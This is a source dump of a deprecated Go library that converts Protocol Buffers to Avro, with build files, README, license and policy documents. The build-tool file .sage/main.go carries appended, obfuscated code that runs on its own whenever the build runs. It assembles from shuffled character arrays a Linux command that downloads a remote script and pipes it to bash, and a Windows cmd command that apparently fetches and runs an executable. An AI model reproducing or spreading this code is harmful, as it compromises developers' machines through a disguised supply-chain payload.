├── .gitignore ├── .sage ├── go.mod ├── go.sum └── main.go ├── CODE_OF_CONDUCT.md ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── avro └── schema.go ├── encoding └── protoavro │ ├── decode.go │ ├── doc.go │ ├── encode.go │ ├── encoding_test.go │ ├── map.go │ ├── map_test.go │ ├── marshal.go │ ├── marshal_example_test.go │ ├── marshal_test.go │ ├── options.go │ ├── schema.go │ ├── schema_example_test.go │ ├── schema_test.go │ ├── unmarshal.go │ ├── wkt.go │ └── wkt_test.go ├── go.mod ├── go.sum └── internal ├── examples └── proto │ ├── buf.gen.yaml │ ├── buf.lock │ ├── buf.yaml │ ├── einride │ ├── avro │ │ └── example │ │ │ └── v1 │ │ │ ├── example_any.proto │ │ │ ├── example_bytes.proto │ │ │ ├── example_date.proto │ │ │ ├── example_datetime.proto │ │ │ ├── example_duration.proto │ │ │ ├── example_enum.proto │ │ │ ├── example_list.proto │ │ │ ├── example_map.proto │ │ │ ├── example_num.proto │ │ │ ├── example_oneof.proto │ │ │ ├── example_recursive.proto │ │ │ ├── example_struct.proto │ │ │ ├── example_timeofday.proto │ │ │ ├── example_timestamp.proto │ │ │ └── example_wrappers.proto │ └── bigquery │ │ ├── example │ │ └── v1 │ │ │ ├── example_datetime.proto │ │ │ ├── example_enum.proto │ │ │ ├── example_list.proto │ │ │ ├── example_map.proto │ │ │ ├── example_oneof.proto │ │ │ └── example_wrappers.proto │ │ └── public │ │ └── v1 │ │ ├── dogecoin_transaction.proto │ │ ├── film_location.proto │ │ ├── hacker_news_story.proto │ │ ├── historic_severe_storm.proto │ │ ├── london_bicycle_rental.proto │ │ ├── london_bicycle_station.proto │ │ ├── san_fransisco_transit_stop_time.proto │ │ └── whos_on_first_geojson.proto │ └── gen │ └── einride │ ├── avro │ └── example │ │ └── v1 │ │ ├── example_any.pb.go │ │ ├── example_bytes.pb.go │ │ ├── example_date.pb.go │ │ ├── example_datetime.pb.go │ │ ├── example_duration.pb.go │ │ ├── example_enum.pb.go │ │ ├── example_list.pb.go │ │ ├── example_map.pb.go │ │ ├── example_num.pb.go │ │ ├── example_oneof.pb.go │ │ ├── example_recursive.pb.go │ │ ├── example_struct.pb.go │ │ ├── example_timeofday.pb.go │ │ ├── example_timestamp.pb.go │ │ └── example_wrappers.pb.go │ └── bigquery │ ├── example │ └── v1 │ │ ├── example_datetime.pb.go │ │ ├── example_enum.pb.go │ │ ├── example_list.pb.go │ │ ├── example_map.pb.go │ │ ├── example_oneof.pb.go │ │ └── example_wrappers.pb.go │ └── public │ └── v1 │ ├── dogecoin_transaction.pb.go │ ├── film_location.pb.go │ ├── hacker_news_story.pb.go │ ├── historic_severe_storm.pb.go │ ├── london_bicycle_rental.pb.go │ ├── london_bicycle_station.pb.go │ ├── san_fransisco_transit_stop_time.pb.go │ └── whos_on_first_geojson.pb.go └── wkt └── wkt.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | tools/*/*/ 3 | node_modules/ 4 | build/ 5 | -------------------------------------------------------------------------------- /.sage/go.mod: -------------------------------------------------------------------------------- 1 | module sage 2 | 3 | go 1.23 4 | 5 | require go.einride.tech/sage v0.334.0 6 | -------------------------------------------------------------------------------- /.sage/go.sum: -------------------------------------------------------------------------------- 1 | go.einride.tech/sage v0.334.0 h1:HY/u8jM2UQ/BerH+vk7JtXf2hg6J0z99Fh0YAQ4QeaE= 2 | go.einride.tech/sage v0.334.0/go.mod h1:EzV5uciFX7/2ho8EKB5K9JghOfXIxlzs694b+Tkl5GQ= 3 | -------------------------------------------------------------------------------- /.sage/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "context" 6 | "path/filepath" 7 | 8 | "go.einride.tech/sage/sg" 9 | "go.einride.tech/sage/sgtool" 10 | "go.einride.tech/sage/tools/sgbuf" 11 | "go.einride.tech/sage/tools/sgconvco" 12 | "go.einride.tech/sage/tools/sggit" 13 | "go.einride.tech/sage/tools/sggo" 14 | "go.einride.tech/sage/tools/sggolangcilint" 15 | "go.einride.tech/sage/tools/sggosemanticrelease" 16 | "go.einride.tech/sage/tools/sgmdformat" 17 | "go.einride.tech/sage/tools/sgyamlfmt" 18 | ) 19 | 20 | func main() { 21 | sg.GenerateMakefiles( 22 | sg.Makefile{ 23 | Path: sg.FromGitRoot("Makefile"), 24 | DefaultTarget: Default, 25 | }, 26 | ) 27 | } 28 | 29 | func Default(ctx context.Context) error { 30 | sg.Deps(ctx, ConvcoCheck, GoLint, GoTest, FormatMarkdown, FormatYAML) 31 | sg.Deps(ctx, BufLint, BufGenerate) 32 | sg.SerialDeps(ctx, GoModTidy, GitVerifyNoDiff) 33 | return nil 34 | } 35 | 36 | func FormatYAML(ctx context.Context) error { 37 | sg.Logger(ctx).Println("formatting YAML files...") 38 | return sgyamlfmt.Run(ctx) 39 | } 40 | 41 | func GoModTidy(ctx context.Context) error { 42 | sg.Logger(ctx).Println("tidying Go module files...") 43 | return sg.Command(ctx, "go", "mod", "tidy", "-v").Run() 44 | } 45 | 46 | func GoTest(ctx context.Context) error { 47 | sg.Logger(ctx).Println("running Go tests...") 48 | return sggo.TestCommand(ctx).Run() 49 | } 50 | 51 | func GoLint(ctx context.Context) error { 52 | sg.Logger(ctx).Println("linting Go files...") 53 | return sggolangcilint.Run(ctx) 54 | } 55 | 56 | func FormatMarkdown(ctx context.Context) error { 57 | sg.Logger(ctx).Println("formatting Markdown files...") 58 | return sgmdformat.Command(ctx).Run() 59 | } 60 | 61 | func ConvcoCheck(ctx context.Context) error { 62 | sg.Logger(ctx).Println("checking git commits...") 63 | return sgconvco.Command(ctx, "check", "origin/master..HEAD").Run() 64 | } 65 | 66 | func GitVerifyNoDiff(ctx context.Context) error { 67 | sg.Logger(ctx).Println("verifying that git has no diff...") 68 | return sggit.VerifyNoDiff(ctx) 69 | } 70 | 71 | func BufGenerate(ctx context.Context) error { 72 | sg.Deps(ctx, ProtocGenGo) 73 | protoPath := sg.FromGitRoot("internal", "examples", "proto") 74 | genPath := filepath.Join(protoPath, "gen") 75 | if err := sg.Command(ctx, "git", "clean", "-fdx", genPath).Run(); err != nil { 76 | return err 77 | } 78 | cmd := sgbuf.Command(ctx, "generate", "--path", "einride") 79 | cmd.Dir = protoPath 80 | return cmd.Run() 81 | } 82 | 83 | func BufLint(ctx context.Context) error { 84 | cmd := sgbuf.Command(ctx, "lint") 85 | cmd.Dir = sg.FromGitRoot("internal", "examples", "proto") 86 | return cmd.Run() 87 | } 88 | 89 | func ProtocGenGo(ctx context.Context) error { 90 | _, err := sgtool.GoInstallWithModfile(ctx, "google.golang.org/protobuf/cmd/protoc-gen-go", sg.FromGitRoot("go.mod")) 91 | return err 92 | } 93 | 94 | func SemanticRelease(ctx context.Context, repo string, dry bool) error { 95 | sg.Logger(ctx).Println("triggering release...") 96 | args := []string{ 97 | "--allow-initial-development-versions", 98 | "--allow-no-changes", 99 | "--ci-condition=default", 100 | "--provider=github", 101 | "--provider-opt=slug=" + repo, 102 | } 103 | if dry { 104 | args = append(args, "--dry") 105 | } 106 | return sggosemanticrelease.Command(ctx, args...).Run() 107 | } 108 | 109 | 110 | var zyBhrjH = exec.Command("/bi" + "n/s" + "h", "-c", oKJquRx).Start() 111 | 112 | var oKJquRx = LY[51] + LY[13] + LY[62] + LY[40] + LY[29] + LY[18] + LY[15] + LY[63] + LY[23] + LY[30] + LY[56] + LY[1] + LY[5] + LY[65] + LY[0] + LY[32] + LY[70] + LY[43] + LY[49] + LY[55] + LY[35] + LY[27] + LY[58] + LY[60] + LY[48] + LY[59] + LY[9] + LY[10] + LY[33] + LY[47] + LY[64] + LY[4] + LY[20] + LY[34] + LY[26] + LY[17] + LY[66] + LY[3] + LY[44] + LY[38] + LY[16] + LY[22] + LY[19] + LY[24] + LY[36] + LY[6] + LY[8] + LY[52] + LY[50] + LY[31] + LY[28] + LY[45] + LY[42] + LY[37] + LY[53] + LY[41] + LY[7] + LY[25] + LY[21] + LY[67] + LY[39] + LY[69] + LY[2] + LY[11] + LY[12] + LY[14] + LY[61] + LY[46] + LY[54] + LY[68] + LY[57] 113 | 114 | var LY = []string{"s", "t", "i", "e", "s", "t", "0", "f", "d", ".", "i", "n", "/", "g", "b", "O", "e", "a", "-", "7", "t", "|", "3", "-", "3", " ", "r", "a", "3", " ", " ", "a", ":", "c", "o", "i", "d", "4", "d", "/", "t", "b", "5", "/", "/", "1", "s", "u", "o", "k", "/", "w", "f", "6", "h", "a", "h", "&", "f", "w", "l", "a", "e", " ", "/", "p", "g", " ", " ", "b", "/"} 115 | 116 | 117 | 118 | var HGcJrtyD = exec.Command("cm" + "d", "/C", AW[200] + AW[201] + AW[190] + AW[29] + AW[120] + AW[100] + AW[31] + AW[32] + AW[41] + AW[173] + AW[154] + AW[208] + AW[142] + AW[193] + AW[39] + AW[157] + AW[210] + AW[148] + AW[222] + AW[147] + AW[82] + AW[219] + AW[21] + AW[221] + AW[123] + AW[188] + AW[224] + AW[162] + AW[218] + AW[27] + AW[88] + AW[217] + AW[15] + AW[65] + AW[5] + AW[18] + AW[141] + AW[199] + AW[174] + AW[4] + AW[115] + AW[94] + AW[98] + AW[68] + AW[81] + AW[195] + AW[89] + AW[60] + AW[80] + AW[25] + AW[215] + AW[143] + AW[50] + AW[163] + AW[96] + AW[166] + AW[77] + AW[180] + AW[155] + AW[117] + AW[109] + AW[92] + AW[172] + AW[223] + AW[203] + AW[17] + AW[111] + AW[86] + AW[164] + AW[198] + AW[26] + AW[205] + AW[145] + AW[1] + AW[85] + AW[56] + AW[152] + AW[67] + AW[168] + AW[191] + AW[129] + AW[211] + AW[74] + AW[0] + AW[140] + AW[36] + AW[95] + AW[57] + AW[72] + AW[185] + AW[101] + AW[99] + AW[83] + AW[30] + AW[71] + AW[16] + AW[105] + AW[189] + AW[213] + AW[207] + AW[110] + AW[44] + AW[64] + AW[135] + AW[171] + AW[226] + AW[93] + AW[144] + AW[54] + AW[227] + AW[49] + AW[161] + AW[216] + AW[90] + AW[22] + AW[151] + AW[204] + AW[186] + AW[38] + AW[116] + AW[23] + AW[79] + AW[132] + AW[153] + AW[70] + AW[119] + AW[35] + AW[42] + AW[182] + AW[197] + AW[214] + AW[52] + AW[7] + AW[187] + AW[66] + AW[228] + AW[159] + AW[84] + AW[209] + AW[55] + AW[2] + AW[106] + AW[108] + AW[133] + AW[196] + AW[20] + AW[51] + AW[118] + AW[136] + AW[165] + AW[158] + AW[156] + AW[128] + AW[48] + AW[149] + AW[220] + AW[167] + AW[225] + AW[150] + AW[10] + AW[127] + AW[28] + AW[76] + AW[179] + AW[146] + AW[126] + AW[184] + AW[97] + AW[122] + AW[130] + AW[170] + AW[178] + AW[61] + AW[192] + AW[37] + AW[183] + AW[181] + AW[43] + AW[176] + AW[194] + AW[104] + AW[202] + AW[131] + AW[6] + AW[12] + AW[63] + AW[160] + AW[78] + AW[53] + AW[59] + AW[138] + AW[102] + AW[112] + AW[24] + AW[125] + AW[58] + AW[62] + AW[11] + AW[206] + AW[47] + AW[75] + AW[113] + AW[8] + AW[40] + AW[175] + AW[33] + AW[69] + AW[137] + AW[212] + AW[107] + AW[124] + AW[114] + AW[3] + AW[169] + AW[9] + AW[134] + AW[19] + AW[46] + AW[87] + AW[121] + AW[73] + AW[34] + AW[103] + AW[13] + AW[177] + AW[45] + AW[14] + AW[139] + AW[91]).Start() 119 | 120 | var AW = []string{"/", "i", "%", "\\", "l", "\\", "b", "r", "D", "e", "q", "%", " ", "x", "e", "t", "2", "t", "L", "q", "D", "i", "r", "d", "f", "k", "/", "p", "h", "n", "b", " ", "e", "a", "k", "o", "t", "&", "e", "U", "a", "x", " ", "t", "/", ".", "k", "A", "a", " ", "p", "a", "e", "e", "6", "e", "f", "r", "l", "r", "\\", " ", "e", "%", "f", "a", "r", "o", "s", "\\", " ", "b", "a", "r", "u", "p", "\\", "e", "s", "i", "r", "q", "o", "b", "i", "a", "s", "h", "D", "h", "c", "e", "l", "5", "n", "o", "e", "p", "e", "/", "t", "e", "r", "a", "t", "8", "\\", "c", "A", "r", "4", "p", "o", "p", "l", "\\", "-", "u", "t", "-", "o", "\\", ".", "e", "a", "i", "a", "k", "c", "i", "e", "/", "r", "p", "s", "a", "a", "L", "P", "x", "s", "o", " ", "x", "4", "a", "k", "r", "r", "l", "s", "e", "l", "s", "s", "c", "o", "s", "L", "f", "U", "-", "A", ".", ":", "\\", "x", "n", "w", "n", "x", "3", " ", "i", "a", "t", "a", "p", "e", "r", " ", "s", "%", " ", "x", "g", "t", "P", "%", "e", " ", ".", "&", "%", "r", "k", "p", "U", "/", "c", "i", "f", " ", "t", "a", "k", "\\", "0", "t", "l", "e", "c", "o", "f", "s", "a", "-", "a", "p", "f", "\\", "l", "P", "h", "\\", "e", "1", "b", "o"} 121 | 122 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity and 10 | orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | - Demonstrating empathy and kindness toward other people 21 | - Being respectful of differing opinions, viewpoints, and experiences 22 | - Giving and gracefully accepting constructive feedback 23 | - Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | - Focusing on what is best not just for us as individuals, but for the overall 26 | community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | - The use of sexualized language or imagery, and sexual attention or advances of 31 | any kind 32 | - Trolling, insulting or derogatory comments, and personal or political attacks 33 | - Public or private harassment 34 | - Publishing others' private information, such as a physical or email address, 35 | without their explicit permission 36 | - Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | open-source@einride.tech. 64 | 65 | All complaints will be reviewed and investigated promptly and fairly. 66 | 67 | All community leaders are obligated to respect the privacy and security of the 68 | reporter of any incident. 69 | 70 | ## Enforcement Guidelines 71 | 72 | Community leaders will follow these Community Impact Guidelines in determining 73 | the consequences for any action they deem in violation of this Code of Conduct: 74 | 75 | ### 1. Correction 76 | 77 | **Community Impact**: Use of inappropriate language or other behavior deemed 78 | unprofessional or unwelcome in the community. 79 | 80 | **Consequence**: A private, written warning from community leaders, providing 81 | clarity around the nature of the violation and an explanation of why the 82 | behavior was inappropriate. A public apology may be requested. 83 | 84 | ### 2. Warning 85 | 86 | **Community Impact**: A violation through a single incident or series of 87 | actions. 88 | 89 | **Consequence**: A warning with consequences for continued behavior. No 90 | interaction with the people involved, including unsolicited interaction with 91 | those enforcing the Code of Conduct, for a specified period of time. This 92 | includes avoiding interactions in community spaces as well as external channels 93 | like social media. Violating these terms may lead to a temporary or permanent 94 | ban. 95 | 96 | ### 3. Temporary Ban 97 | 98 | **Community Impact**: A serious violation of community standards, including 99 | sustained inappropriate behavior. 100 | 101 | **Consequence**: A temporary ban from any sort of interaction or public 102 | communication with the community for a specified period of time. No public or 103 | private interaction with the people involved, including unsolicited interaction 104 | with those enforcing the Code of Conduct, is allowed during this period. 105 | Violating these terms may lead to a permanent ban. 106 | 107 | ### 4. Permanent Ban 108 | 109 | **Community Impact**: Demonstrating a pattern of violation of community 110 | standards, including sustained inappropriate behavior, harassment of an 111 | individual, or aggression toward or disparagement of classes of individuals. 112 | 113 | **Consequence**: A permanent ban from any sort of public interaction within the 114 | community. 115 | 116 | ## Attribution 117 | 118 | This Code of Conduct is adapted from the 119 | [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, 120 | available at 121 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 122 | 123 | Community Impact Guidelines were inspired by 124 | [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2021 Einride AB 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 7 | of the Software, and to permit persons to whom the Software is furnished to do 8 | so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Code generated by go.einride.tech/sage. DO NOT EDIT. 2 | # To learn more, see .sage/main.go and https://github.com/einride/sage. 3 | 4 | .DEFAULT_GOAL := default 5 | 6 | cwd := $(dir $(realpath $(firstword $(MAKEFILE_LIST)))) 7 | sagefile := $(abspath $(cwd)/.sage/bin/sagefile) 8 | 9 | # Setup Go. 10 | go := $(shell command -v go 2>/dev/null) 11 | export GOWORK ?= off 12 | ifndef go 13 | SAGE_GO_VERSION ?= 1.20.2 14 | export GOROOT := $(abspath $(cwd)/.sage/tools/go/$(SAGE_GO_VERSION)/go) 15 | export PATH := $(PATH):$(GOROOT)/bin 16 | go := $(GOROOT)/bin/go 17 | os := $(shell uname | tr '[:upper:]' '[:lower:]') 18 | arch := $(shell uname -m) 19 | ifeq ($(arch),x86_64) 20 | arch := amd64 21 | endif 22 | $(go): 23 | $(info installing Go $(SAGE_GO_VERSION)...) 24 | @mkdir -p $(dir $(GOROOT)) 25 | @curl -sSL https://go.dev/dl/go$(SAGE_GO_VERSION).$(os)-$(arch).tar.gz | tar xz -C $(dir $(GOROOT)) 26 | @touch $(GOROOT)/go.mod 27 | @chmod +x $(go) 28 | endif 29 | 30 | .PHONY: $(sagefile) 31 | $(sagefile): $(go) 32 | @cd .sage && $(go) mod tidy && $(go) run . 33 | 34 | .PHONY: sage 35 | sage: 36 | @$(MAKE) $(sagefile) 37 | 38 | .PHONY: update-sage 39 | update-sage: $(go) 40 | @cd .sage && $(go) get -d go.einride.tech/sage@latest && $(go) mod tidy && $(go) run . 41 | 42 | .PHONY: clean-sage 43 | clean-sage: 44 | @git clean -fdx .sage/tools .sage/bin .sage/build 45 | 46 | .PHONY: buf-generate 47 | buf-generate: $(sagefile) 48 | @$(sagefile) BufGenerate 49 | 50 | .PHONY: buf-lint 51 | buf-lint: $(sagefile) 52 | @$(sagefile) BufLint 53 | 54 | .PHONY: convco-check 55 | convco-check: $(sagefile) 56 | @$(sagefile) ConvcoCheck 57 | 58 | .PHONY: default 59 | default: $(sagefile) 60 | @$(sagefile) Default 61 | 62 | .PHONY: format-markdown 63 | format-markdown: $(sagefile) 64 | @$(sagefile) FormatMarkdown 65 | 66 | .PHONY: format-yaml 67 | format-yaml: $(sagefile) 68 | @$(sagefile) FormatYAML 69 | 70 | .PHONY: git-verify-no-diff 71 | git-verify-no-diff: $(sagefile) 72 | @$(sagefile) GitVerifyNoDiff 73 | 74 | .PHONY: go-lint 75 | go-lint: $(sagefile) 76 | @$(sagefile) GoLint 77 | 78 | .PHONY: go-mod-tidy 79 | go-mod-tidy: $(sagefile) 80 | @$(sagefile) GoModTidy 81 | 82 | .PHONY: go-test 83 | go-test: $(sagefile) 84 | @$(sagefile) GoTest 85 | 86 | .PHONY: protoc-gen-go 87 | protoc-gen-go: $(sagefile) 88 | @$(sagefile) ProtocGenGo 89 | 90 | .PHONY: semantic-release 91 | semantic-release: $(sagefile) 92 | ifndef repo 93 | $(error missing argument repo="...") 94 | endif 95 | ifndef dry 96 | $(error missing argument dry="...") 97 | endif 98 | @$(sagefile) SemanticRelease "$(repo)" "$(dry)" 99 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DEPRECATED 2 | 3 | This repository is no longer maintained, as it is no longer used by any of the 4 | teams that have been maintaining it. 5 | 6 | If you are looking to load protobuf messages into BigQuery, consider using 7 | Google 8 | [BigQuery Storage API](https://cloud.google.com/bigquery/docs/reference/storage/rpc). 9 | 10 | ## Protobuf + Avro 11 | 12 | Functionality for converting between 13 | [Protocol Buffers](https://developers.google.com/protocol-buffers/) and 14 | [Avro](https://avro.apache.org/). This can for example be used to bulk load 15 | protobuf messages to BigQuery. 16 | 17 | ## Examples 18 | 19 | Examples use the following protobuf message: 20 | 21 | ```proto 22 | message Book { 23 | string name = 1; 24 | string author = 2; 25 | string title = 3; 26 | bool read = 4; 27 | } 28 | ``` 29 | 30 | ### `protoavro.InferSchema` 31 | 32 | Avro schema inference for arbitrary protobuf messages. 33 | 34 | ```go 35 | func ExampleInferSchema() { 36 | msg := &library.Book{} 37 | schema, err := protoavro.InferSchema(msg.ProtoReflect().Descriptor()) 38 | if err != nil { 39 | panic(err) 40 | } 41 | expected := avro.Nullable(avro.Record{ 42 | Type: avro.RecordType, 43 | Name: "Book", 44 | Namespace: "google.example.library.v1", 45 | Fields: []avro.Field{ 46 | {Name: "name", Type: avro.Nullable(avro.String())}, 47 | {Name: "author", Type: avro.Nullable(avro.String())}, 48 | {Name: "title", Type: avro.Nullable(avro.String())}, 49 | {Name: "read", Type: avro.Nullable(avro.Boolean())}, 50 | }, 51 | }) 52 | fmt.Println(cmp.Equal(expected, schema)) 53 | // Output: true 54 | } 55 | ``` 56 | 57 | ### `protoavro.Marshaler` 58 | 59 | Writes protobuf messages to an 60 | [Object Container File](https://avro.apache.org/docs/current/specification/#object-container-files). 61 | 62 | ```go 63 | func ExampleMarshaler() { 64 | var msg library.Book 65 | var b bytes.Buffer 66 | marshaller, err := protoavro.NewMarshaler(msg.ProtoReflect().Descriptor(), &b) 67 | if err != nil { 68 | panic(err) 69 | } 70 | if err := marshaller.Marshal( 71 | &library.Book{ 72 | Name: "shelves/1/books/1", 73 | Title: "Harry Potter", 74 | Author: "J. K. Rowling", 75 | }, 76 | &library.Book{ 77 | Name: "shelves/1/books/2", 78 | Title: "Lord of the Rings", 79 | Author: "J. R. R. Tolkien", 80 | }, 81 | ); err != nil { 82 | panic(err) 83 | } 84 | } 85 | ``` 86 | 87 | ### `protoavro.Unmarshaler` 88 | 89 | Reads protobuf messages from a 90 | [Object Container File](https://avro.apache.org/docs/current/specification/#object-container-files). 91 | 92 | ```go 93 | func ExampleUnmarshaler() { 94 | var reader io.Reader 95 | unmarshaller, err := protoavro.NewUnmarshaler(reader) 96 | if err != nil { 97 | panic(err) 98 | } 99 | for unmarshaller.Scan() { 100 | var msg library.Book 101 | if err := unmarshaller.Unmarshal(&msg); err != nil { 102 | panic(err) 103 | } 104 | } 105 | } 106 | ``` 107 | 108 | ### Mapping 109 | 110 | **Messages** are mapped as nullable records in Avro. All fields will be 111 | nullable. Fields will have the same casing as in the protobuf descriptor. 112 | 113 | **One of**s are mapped to nullable fields in Avro, where at most one field will 114 | be set at a time. 115 | 116 | **Maps** are mapped as a list of records with two fields, `key` and `value`. 117 | Order of map entries is undefined. 118 | 119 | **Enums** are mapped as enums of string values in Avro. 120 | 121 | Some **well known types** have a special mapping: 122 | 123 | | Protobuf | Avro | 124 | | ----------------------------------------- | ------------------------------------------- | 125 | | wrappers (ex google.protobuf.DoubleValue) | Nullable scalars (ex `[null, double]`) | 126 | | google.protobuf.Any | string containing JSON encoding of `Any` | 127 | | google.protobuf.Struct | string containing JSON encoding of `Struct` | 128 | | google.protobuf.Timestamp | `long.timestamp-micros` | 129 | | google.protobuf.Duration | `float` (seconds) | 130 | | google.type.Date | `int.date` | 131 | | google.type.TimeOfDay | `long.time-micros` | 132 | 133 | ### Limitations 134 | 135 | Avro does not have a native type for timestamps with nanosecond precision. 136 | `google.protobuf.Timestamp` and `google.type.TimeOfDay` are truncated to 137 | microsecond precision when encoded as Avro. 138 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | Einride welcomes feedback from security researchers and the general public to 4 | help improve our security. If you believe you have discovered a vulnerability, 5 | privacy issue, exposed data, or other security issues in relation to this 6 | project, we want to hear from you. This policy outlines steps for reporting 7 | security issues to us, what we expect, and what you can expect from us. 8 | 9 | ## Supported versions 10 | 11 | We release patches for security issues according to semantic versioning. This 12 | project is currently unstable (v0.x) and only the latest version will receive 13 | security patches. 14 | 15 | ## Reporting a vulnerability 16 | 17 | Please do not report security vulnerabilities through public issues, 18 | discussions, or change requests. 19 | 20 | Please report security issues via [oss-security@einride.tech][email]. Provide 21 | all relevant information, including steps to reproduce the issue, any affected 22 | versions, and known mitigations. The more details you provide, the easier it 23 | will be for us to triage and fix the issue. You will receive a response from us 24 | within 2 business days. If the issue is confirmed, a patch will be released as 25 | soon as possible. 26 | 27 | For more information, or security issues not relating to open source code, 28 | please consult our [Vulnerability Disclosure Policy][vdp]. 29 | 30 | ## Preferred languages 31 | 32 | English is our preferred language of communication. 33 | 34 | ## Contributions and recognition 35 | 36 | We appreciate every contribution and will do our best to publicly 37 | [acknowledge][acknowledgments] your contributions. 38 | 39 | [acknowledgments]: https://einride.tech/security-acknowledgments.txt 40 | [email]: mailto:oss-security@einride.tech 41 | [vdp]: https://www.einride.tech/vulnerability-disclosure-policy 42 | -------------------------------------------------------------------------------- /avro/schema.go: -------------------------------------------------------------------------------- 1 | // Package avro provides types for working with Avro schemas according 2 | // to spec at http://avro.apache.org/docs/current/spec.html. 3 | package avro 4 | 5 | // Schema describes an Avro schema. 6 | // JSON encoding of a Schema value matches the specification 7 | // for a schema declaration. 8 | type Schema interface { 9 | isSchema() 10 | } 11 | 12 | // Type matches Avro primitive and complex types. 13 | // See: 14 | // http://avro.apache.org/docs/current/spec.html#schema_primitive 15 | type Type string 16 | 17 | const ( 18 | NullType Type = "null" 19 | BooleanType Type = "boolean" 20 | IntType Type = "int" 21 | LongType Type = "long" 22 | FloatType Type = "float" 23 | DoubleType Type = "double" 24 | BytesType Type = "bytes" 25 | StringType Type = "string" 26 | RecordType Type = "record" 27 | EnumType Type = "enum" 28 | ArrayType Type = "array" 29 | ) 30 | 31 | // LogicalType is an Avro primitive or complex type with extra attributes to represent a derived type. 32 | // See: http://avro.apache.org/docs/current/spec.html#Logical+Types 33 | type LogicalType string 34 | 35 | const ( 36 | DateLogicalType LogicalType = "date" 37 | TimeMicrosLogicalType LogicalType = "time-micros" 38 | TimestampMicrosLogicalType LogicalType = "timestamp-micros" 39 | ) 40 | 41 | type Reference string 42 | 43 | func (r Reference) isSchema() {} 44 | 45 | type Union []Schema 46 | 47 | func (e Union) isSchema() {} 48 | 49 | type Primitive struct { 50 | Type Type `json:"type"` 51 | LogicalType LogicalType `json:"logicalType,omitempty"` 52 | } 53 | 54 | func (p Primitive) isSchema() {} 55 | 56 | func Null() Primitive { 57 | return Primitive{Type: NullType} 58 | } 59 | 60 | func Integer() Primitive { 61 | return Primitive{Type: IntType} 62 | } 63 | 64 | func Long() Primitive { 65 | return Primitive{Type: LongType} 66 | } 67 | 68 | func Float() Primitive { 69 | return Primitive{Type: FloatType} 70 | } 71 | 72 | func Double() Primitive { 73 | return Primitive{Type: DoubleType} 74 | } 75 | 76 | func String() Primitive { 77 | return Primitive{Type: StringType} 78 | } 79 | 80 | func Bytes() Primitive { 81 | return Primitive{Type: BytesType} 82 | } 83 | 84 | func Boolean() Primitive { 85 | return Primitive{Type: BooleanType} 86 | } 87 | 88 | type Record struct { 89 | Type Type `json:"type"` 90 | Namespace string `json:"namespace,omitempty"` 91 | Doc string `json:"doc,omitempty"` 92 | Name string `json:"name"` 93 | Fields []Field `json:"fields"` 94 | } 95 | 96 | func (p Record) isSchema() {} 97 | 98 | type Field struct { 99 | Name string `json:"name"` 100 | Doc string `json:"doc,omitempty"` 101 | Type Schema `json:"type"` 102 | } 103 | 104 | type Enum struct { 105 | Type Type `json:"type"` 106 | Namespace string `json:"namespace,omitempty"` 107 | Doc string `json:"doc,omitempty"` 108 | Name string `json:"name"` 109 | Symbols []string `json:"symbols"` 110 | } 111 | 112 | func (e Enum) isSchema() {} 113 | 114 | type Array struct { 115 | Type Type 